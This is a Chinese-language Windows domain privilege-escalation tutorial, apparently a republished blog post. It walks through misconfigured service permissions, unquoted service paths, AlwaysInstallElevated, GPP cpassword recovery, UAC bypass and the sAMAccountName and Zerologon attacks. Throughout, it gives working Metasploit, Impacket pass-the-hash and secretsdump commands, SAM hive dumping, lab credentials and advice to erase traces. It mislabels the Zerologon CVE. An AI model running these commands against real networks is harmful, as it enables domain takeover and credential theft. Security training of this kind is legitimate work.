域环境权限提升

Windows系统配置错误

在Windows系统中,攻击者通常会通过系统内核溢出漏来提权,但是如果碰到无法通过系统内核溢出漏洞法国提取所在服务器权限的情况,就会系统中的配置错误来提权。Windows系统中常见哦欸之错误包括管理员凭证配置错误,服务配置错误,故意削弱的安全措施,用户权限过高等。

系统服务权限配置错误

Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限用户对此类系统服务调用的可执行文件拥有写的权限时,就可以将该文件替换成任意的可执行文件。并虽在系统服务的启动获得系统权限。Windows服务是以System权限运行的,因此,其文件夹,文件和注册表键值都是受强访问控制机制保护的。但是在某些情况下,操作系统中仍然存在一些没有得到有效保护的服务。

系统服务权限配置错误(可写目录漏洞)有如下两种可能:

    • 服务未运行:攻击者使用任意服务替换原来的服务,然后重启服务。
    • 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景。攻击者通常会利用DLL劫持技术并尝试重启服务来提权。
meterprerter利用

获取一个shell后 切换使用service_permissions模块,AGGRESSIVE选项可以利用目标机器每一个有缺陷的服务,当这个服务被禁用时,该模块在第一次提权成功时就会停止工作。

注册表键AlwaysInstallElevated

注册表键AlwaysInstallElevated时一个策略设置项。Windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以 NT AUTHORITY\SYSTEM权限来安装恶意的MSI文件

PathsAlwaysInstallElevated漏洞产生的原因

该漏洞产生的原因是用户开启了Windows Installer特权安装功能

在“运行”框中输入 ”gpedit.msc“,打开组策略编辑器。

  • 组策略—计算机配置—管理模板—windows组件—windows installer—永远以高特权进行安装:选择启用
  • 组策略—用户配置—管理模板—windows组件—windows installer—永远以高特权进行安装:选择启用

设置完毕后,会在注册表的以下两个位置自动创建键值 ”1“

  • HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
  • HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Installer\AlwaysInstallElevated
Windows Installer的相关知识点

Windows installer是Windows操作系统的组件之一,专门用来管理和配置软件服务。Windows installer除了是一个安装程序,还用域管理软件的安装,管理软件组件的添加和删除,监视文件的还原,通过回滚进行灾难恢复等。

Windows installer分为客户端安装服务(Msiexec.exe)和MSI文件两部分,它们是一起工作的,Windows installer是通过Msiexec.exe安装MSI文件包含的程序。MSI文件是Windows Installer的数据包,它实际上是一个数据库,包含安装和卸载软件时需要使用的大量指令和数据。Msiexec.exe用于安装MSI文件,一般在运行Microsoft update安装更新或安装一些软件的时候使用,占用内存较多。简单来说双击MSI文件就会运行Msiexec.exe

meterpreter利用

获得一个shell后 加载windows/local/always_install_elevated模块

可信任服务路径漏洞

可信任服务路径(包含空格且没有引号的路径)漏洞利用了Windows文件路径解析的特性。并涉及服务路径的文件/文件夹权限(存在缺陷的服务程序利用了属于可执行文件的文件/文件夹的权限)。如果一个服务调用的可执行文件没有正确地处理所引用的完整路径名。这个漏洞就会被攻击者用来上传任意可执行文件。也就是说,如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。

该漏洞存在如下两种可能性:

    • 如果路径与服务有关,就任意创建一个服务或编译service模板
    • 如果路径与可执行文件有关,就任意创建一个可执行文件。
可信任服务路径漏洞产生的原因

因为windows服务通常都是以system权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行。

例如,有一个文件路径”C:\Program Files\Some Folder\Service.exe"。对于该路径中的每一个空格。windows都会尝试寻找并执行与空格前面的名字相匹配的程序。操作系统会对文件路径中空格的所有可能情况进行执行尝试。直到找到一个能够匹配的程序。在本例中,Windows会一次尝试确定和执行下列程序。

    • C:\Program.exe
    • C:\Program Files\Some.exe
    • C:\Program Files\Some Folder\Service.exe

因此,如果将我们的木马程序命名为 Program.exe,然后放到C盘下面,当上面的Service.exe程序重启时,系统就会以System权限执行我们的木马程序,我们能将会获得一个System权限的会话

Meterpreter利用

首先,检测目标机器中是否存在该漏洞。使用wmic查询命令,列出目标机器中所有没有被引号引起来的服务的路径。

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows" |findstr/i /v """

从结果可是我们这台机器并没有这个漏洞,但如果存在我们将验证这个漏洞是否存在写入的权限检查,使用Windows内建工具icacls查看路径中受影响文件夹的权限,(M)代表修改权限,(F)代表完全控制,(CI)代表从属容器将继承访问控制项,(OI)代表从属文件将继承访问控制项。

icacls "<刚刚的路径文件/文件夹>"

如果有写入的权限,将我们需要执行的exe根据需要重命名并放置在可写入的有漏洞目录下,然后运行如下命令尝试重启服务,如果失败的话等待服务器重启时执行exe,成功提权后记得清理痕迹。

sc stop service_name
sc start service_name
计划任务

可使用如下命令查看计算机的计划任务

schtasks /query /fo LIST /v

AccessChk 是微软官方提供的一款工具,因此往往不会引起杀软的告警,AccessChk 可用来进行一些系统或程序的高级查询、管理和故障排除工作。

AccessChk 下载地址:https://download.sysinternals.com/files/AccessChk.zip

执行如下命令,查看指定目录的权限配置情况。如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序。这样,在计划任务下次执行时,就会以高权限来运行恶意程序 。

第一次运行AccessChk时,会弹出一个许可协议对话框,在这里,可以使用参数/accepteula自动接收许可协议。

accesschk.exe /accepteula

列出某个驱动器下所有权限配置有错误的文件夹

accesschk.exe -uwdqsUserse:\
accesschk.exe -uwdqs"AuthenticatedUsers"c:\

列出某个驱动器下所有权限配置有缺陷的文件

accesschk.exe -uwqsUsersc:\*.*
accesschk.exe -uwqs"AuthenticatedUsers"c:\*.*

组策略提权

简介

SYSVOL是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本,组策略数据及其他域控制器需要的域信息等。SYSVOL在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个SYSVOL目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在C:\\Windows\SYSVOL\DOMAIN\Policies\目录中

在域中,存在一个默认的共享路径:

\\<domain>\SYSVOL\<domain>\

所有域内主机都能访问,里面保存组策略相关数据,包含登录脚本配置文件等

例如域内主机访问:

组策略提权分析
Server 2003

对于server2003,想要批量修改域内主机本地管理员密码,常常通过配置组策略执行vbs脚本的方式

给出一个修改密码的vbs脚本(实现方式不唯一),代码如下:

strComputer = "."
Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "domain123!"
objUser.SetInfo

这种实现方式,最大的弊端在于修改后的密码会明文保存在vbs脚本中

而该vbs脚本通常会保存在共享文件夹\SYSVOL

这就存在一个隐患:

任何域用户都能读取该vbs脚本,也就能够获取脚本中保存的明文密码

Service 2008

对于server 2008,添加了新功能,可使用Group Policy Preferences配置组策略批量修改用户本地管理员密码,具体方法如下:

开始-管理工具-组策略管理

选择域god.org,右键,选中在这个域中创建GPO并在此处链接,如下图

设置名称为111

111-设置-右键-编辑-用户配置-首选项-控制面板设置-本地用户和组

新建本地用户-更新,administrator(内置),设置密码,如下图

在详细一栏,可看到该策略对应的ID为{E99A6621-2672-4D39-BF4D-3F79DCF15913}

至此,组策略配置完成,域内主机重新登录,即可应用此策略

在共享文件夹\SYSVOL中可看到组策略对应ID的文件夹,如下图

Groups.xml配置文件路径:C:\Windows\SYSVOL\domain\Policies\{E99A6621-2672-4D39-BF4D-3F79DCF15913}\User\Preferences\Groups

值得注意的是其中的cpassword项,保存的是加密后的内容:ZQH5YpPDxEqVJObRFjqyaZJqOh6Xwz4fg3u2lrk/BFs

可以使用PowerSploit里面的Exfiltration中的Get-GPPPassword.ps1脚本解出密码

 powershell.exe -exec bypass -command "&{Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword}" 

组策略提权防御

在用于管理组策略的计算机上安装KB2962486补丁,防止新的凭据被放置在组策略首选项中。

此外,还需要对everyone访问权限进行设置,具体如下。

    • 设置共享文件夹SYSVOL的访问权限
    • 将包含组策略密码的XML文件从SYSVOL目录中删除。
    • 不要把密码放在所有域用户都有权访问的文件中
    • 如果需要更改域中窘其的本地管理员密码,建议使用LAPS

绕过UAC提权

如果计算机的操作系统版本是Windows Vista或更高,在权限不够的情况下,访问系统磁盘的根目录(例如C:\)、Windows目录、Program Files目录、以及读、写系统登录数据库(Registry)的程序等操作,都需要经过UAC(User Account Control,用户账户控制)的认证才能进行。

在Windows vista及更高版本的操作系统中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受安全威胁时造成的损害最小。

需要UAC的授权才能进行的操作列举如:

    • 配置Windows Update
    • 增加/删除账户
    • 更改账户类型
    • 更改UAC的设置
    • 安装ActiveX
    • 安装/卸载程序
    • 安装设备驱动程序
    • 将文件移动/复制到Program Files 或 Windows目录下
    • 查看其他用户的文件夹

UAC有如下四种设置要求。

    • 始终通知:这是最严格的设置,每当有程序需要使用最高级别的权限时都会提示本地用户。
    • 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户。
    • 仅在程序试图更改我的计算机时通知我(不降低桌面的高度):与上一条设置的要求相同,但在提示用户时不降低桌面的高度
    • 从不提升:当用户为系统管理员时,所有程序都会以最高权限运行
bypassuac

此模块将通过进程注入利用受信任的发布者证书绕过Windows UAC。这将产生第二个shell,而且UAC保护已经关闭。

当bypassuac模块运行时,会在目标机器上创建多个文件,这些文件会被杀毒软件识别

msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit
内存注入

因为exploit/windows/local/bypassuac_injection模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低被杀软检测出的概率

msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit
UAC防御

在企业网络环境中,防止绕过UAC的最好方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。

在家庭网络环境中,建议使用非管理员权限进行日常办公与娱乐等活动。使用本地管理员权限登录的用户,将UAC设置为“始终通知”或者删除该用户的本地管理员权限。

CVE-2021-42287

原理分析

1.用户向KDC发起AS_REQ请求凭证是用户hash加密的时间戳,KDC使用用户hash进行解密,如果结果正确,则返回用krbtgt hash加密的TGT票据其中TGT里面包含了PAC,PAC包含了请求用户的sid,用户所在的组

2.用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求,KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash加密的TGS票据 (这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据,这也是kerberoating能利用的原因,任何一个用户,只要hash正确,可以请求域内任何一个服务的TGS票据)。

3.用户拿着TGS票据去请求服务,服务使用自己的hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边询问用户有没有访问的权限,域控解密PAC。获取用户的sid,以及所在的组,在判断用户是否有访问服务的权限,有访问权限(有些服务并没有验证PAC这一步,这也是白银票据能成功的前提,因为就算拥有用户hash,可以制作TGS,也不能制作PAC,PAC当然也验证不成功,但是有些服务不去验证PAC,这是白银票据成功的前提)就允许用户访问。

漏洞原理

CVE-2021-42278 ,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名坐验证。

该漏洞就会导致AS会以签发一个机器名末尾不以$结尾的TGT(伪装域控主机名的TGT)正常域控TGT内Client info里的机器名信息比如说是peanut$

该漏洞伪造的域控TGT内的Client info内的机器名信息就

是peanut(并不合法)因为TGT本身被KDC用TGS密钥进行加密,因此当后续用户使用TGT向TGS请求服务票据时TGS是信任TGT内的信息的。

CVE-2021-42287,与上述漏洞配合使用,创建与域控机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self 申请TGS Ticket,接着域控在 TGS_REP 阶段,这个账户不存在的时候,DC会使用自己的密钥加密 TGS Ticket ,提供一个属于该账户的 PAC,然后我们就得到了一个高权限ST。

复现测试
sam-the-admin python利用脚本

脚本地址:https://github.com/WazeHell/sam-the-admin 目前只能在kali中利用

环境介绍

windows7

192.168.52.143
机器名称:stu1
域内普通用户:liukaifeng01:Hongrisec@2019

windows server 2008

192.168.52.138
机器名称:owa
域管用户:administrator:Hongrihongsec@2019
proxychains python3 sam_the_admin.py "god/liukaifeng01:Hongrisec@2019" -dc-ip 192.168.52.138 -shell

CVE-2021-1472

漏洞复现
漏洞验证

下载poc验证漏洞:https://github.com/SecuraBV/CVE-2020-1472.git

proxychains python3 zerologin_tester_py owa 192.168.52.138

出现success,证明漏洞存在

置空密码

将域控的密码置空

python3 cve-2021-1472-exploit.py owa 192.168.52.138

导出密码hash
python secretsdump.py god.com/owa\$@192.168.52.138 -no-pass

wmiexec连接
proxychains python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:bde16a8f1072d3ad9cb4253e582d897d ./administrator@192.168.52.138

导出SAM到本地
  • reg save HKLM\SECURITY security.save
  • reg save HKLM\SYSTEM system.save
  • reg save HKLM\SAM sam.save

显示DC密码
python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL 

恢复DC密码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/633089.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

思绪记忆:伦敦金是以美元计价的黄金!

伦敦金是以美元计价的黄金衍生投资品种&#xff0c;是一种交易网络遍及各个主要市场的黄金保证金交易方式。目前投资者通过香港到伦敦金平台入市&#xff0c;只需要付出2%的保证金&#xff0c;就可以拥有一手100盎司、价值20多万的标准化黄金合约的交易权益&#xff0c;无论在涨…

ChatGPT Plus续费充值,到账延迟,如何申诉?

ChatGPT Plus充值总是到账延迟比较严重&#xff0c;一般多是通过充值链接代充值遇到&#xff0c;如果是账号登陆充值&#xff0c;是即时到账。但是有的客户不愿意提供账号密码&#xff0c;遇到延迟到账的情况如何解决呢&#xff1f;客户可按下面操作申诉&#xff0c;可快速到账…

npm pnpm yarn 报错或常见问题处理集锦

各种卡死&#xff0c;报错问题处理汇总 1. npm 安装 卡死了怎么办&#xff0c;npm # 切换源 npm config set registry https://registry.npmmirror.com # 查看源 npm config get registry2. pnpm安装 卡死了怎么办 方法1&#xff1a;切换源 npx pnpm config set registry h…

政务服务场景为何要打造AI交互数字人?

随着Chat GPT兴起&#xff0c;越来越多服务场景通过AI交互数字人以多模态交互形式实现人机交互。如近日昆山市档案馆推出了AI交互数字人“昆兰”&#xff0c;数字人设置于市档案馆一楼大厅入口处&#xff0c;市民可以与AI交互数字人进行实时问答交流&#xff0c;了解总书记关于…

Kafka-多线程消费及分区设置

目录 一、Kafka是什么&#xff1f;消息系统&#xff1a;Publish/subscribe&#xff08;发布/订阅者&#xff09;模式相关术语 二、初步使用1.yml文件配置2.生产者类3.消费者类4.发送消息 三、减少分区数量1.停止业务服务进程2.停止kafka服务进程3.重新启动kafka服务4.重新启动业…

Leetcode刷题笔记题解(C++):200. 岛屿数量

思路&#xff1a;利用深度优先搜索的思路来查找1身边的1&#xff0c;并且遍历之后进行0替换防止重复dfs&#xff0c;代码如下所示 class Solution { public:int numIslands(vector<vector<char>>& grid) {int row grid.size();int col grid[0].size();int n…

滚动菜单+图片ListView

目录 Fruit.java FruitAdapter MainActivity activity_main.xml fruit.xml 整体结构 Fruit.java public class Fruit {private String name;private int imageId;public Fruit(String name, int imageId) {this.name name;this.imageId imageId;}public String getNam…

【从零开始学习Redis | 第七篇】利用Redis构造全局唯一ID(含其他构造方法)

目录 前言&#xff1a; 什么是全局唯一ID&#xff1f; 尝试构造全局唯一ID&#xff1a; 其他构造全局唯一ID的方法 1.基于数据库自增构造全局唯一ID&#xff1a; 2.基于UUID构造全局唯一ID&#xff1a; 3.基于雪花算法构造全局唯一ID&#xff1a; 总结&#xff1a; 前…

在客户端访问远程Linux服务器的私有IP地址的URL

文章目录 环境背景SSH tunnel和正向/反向代理步骤第一步第二步效果考一考 其它多次跳转另一种方法&#xff1a;正向代理 参考 环境 服务器&#xff1a;Ubuntu 22.04客户端&#xff1a;Mac 14.2.1 背景 在远程Linux服务器上搭建了minikube环境。minikube提供了dashboard功能&…

ChatGPT付费创作系统V2.5.8独立版+前端

小狐狸ChatGPT付费创作系统V2.5.8版本最大特点新增PC端绘画功能全新升级。该版本为编译版无开源&#xff0c;本版本同样处理了后台弹窗、暗链网址。单独制作了2.5.5升级至2.5.8数据库升级包及升级文件&#xff0c;直接导入即可使用。本版本升级后唯一BUG后台绘画功能新增的翻译…

酷开科技将AR技术多方应用 打造全能酷开系统

酷开系统AR技术的核心是通过计算机视觉、图形渲染和深度感知等技术&#xff0c;将虚拟物体或信息精确地叠加到现实世界的场景中。通过智能摄像头捕捉真实环境的图像和视频&#xff0c;结合3D渲染技术&#xff0c;生成与现实场景相融合的虚拟图像&#xff0c;实现虚实结合的视觉…

最新ChatGPT/GPT4科研应用与AI绘图及论文高效写作

详情点击链接&#xff1a;最新ChatGPT/GPT4科研应用与AI绘图及论文高效写作 一OpenAI 1.最新大模型GPT-4 Turbo 2.最新发布的高级数据分析&#xff0c;AI画图&#xff0c;图像识别&#xff0c;文档API 3.GPT Store 4.从0到1创建自己的GPT应用 5. 模型Gemini以及大模型Clau…

编译FFmpeg4.3.1 、x264并移植到Android

1、前言 FFmpeg 既是一款音视频编解码工具&#xff0c;同时也是一组音视频编解码开发套件。 2、准备工作 系统&#xff1a;LinuxNDK&#xff1a;android-ndk-r21b-linux-x86_64.zipFFmpeg&#xff1a;ffmpeg-snapshot.tar.bz2x264&#xff1a;x264 3、下载NDK 在linux环境中…

hanlp,pkuseg,jieba,cutword分词实践

总结&#xff1a;只有jieba,cutword,baidu lac成功将色盲色弱成功分对,这两个库字典应该是最全的 hanlp[持续更新中] https://github.com/hankcs/HanLP/blob/doc-zh/plugins/hanlp_demo/hanlp_demo/zh/tok_stl.ipynb import hanlp # hanlp.pretrained.tok.ALL # 语种见名称最…

RabbitMQ交换机(3)-Topic

1.Topic模式 RabbitMQ的Topic模式是一种基于主题的消息传递模式。它允许发送者向一个特定的主题&#xff08;topic&#xff09;发布消息&#xff0c;同时&#xff0c;订阅者也可以针对自己感兴趣的主题进行订阅。 在Topic模式中&#xff0c; 主题通过一个由单词和点号组成的字…

Git教程学习:07 打标签

文章目录 0 前言1 列出标签2 创建标签3 附注标签4 轻量标签5 后期打标签6 共享标签7 删掉标签8 检查标签 0 前言 像其他版本控制系统&#xff08;VCS&#xff09;一样&#xff0c;Git 可以给仓库历史中的某一个提交打上标签&#xff0c;以示重要。 比较有代表性的是人们会使用…

Unity使用Protobuf

1.下载Protobuf ProtoBuf 2.打开它并且编译 如果有报错下载相应的.net版本即可 这里默认是6.0.100 由于我本机是8.0.100所以我改了这个文件 3.编译后的文件复制到Unity Assets/Plugins下 4.写个测试的proto文件 5.然后使用protoc生成 这里实现了一个简单的bat批量生成 Protos C…

微软与沃达丰签订10年合作,提供Copilot等生成式AI服务

1月16日&#xff0c;微软在官网宣布&#xff0c;与全球最大电信公司之一沃达丰&#xff08;Vodafone&#xff09;签订10年合作协议&#xff0c;将为3亿多企业、消费者提供生成式AI、云和数字服务等。 通过此次合作&#xff0c;沃达丰将利用微软的Copilot等生成式AI来改变客户、…

新版AndroidStudio dependencyResolutionManagement出错

在新版AndroidStudio中想像使用4.2版本或者4.3版本的AndroidStudio来构造项目&#xff1f;那下面这些坑我们就需要来避免了&#xff0c;否则会出各种各样的问题。 一.我们先来看看新旧两个版本的不同。 1.jdk版本的不同 新版默认是jdk17 旧版默认是jdk8 所以在新版AndroidSt…

FlinkAPI开发之状态管理

案例用到的测试数据请参考文章&#xff1a; Flink自定义Source模拟数据流 原文链接&#xff1a;https://blog.csdn.net/m0_52606060/article/details/135436048 Flink中的状态 概述 有状态的算子 状态的分类 托管状态&#xff08;Managed State&#xff09;和原始状态&…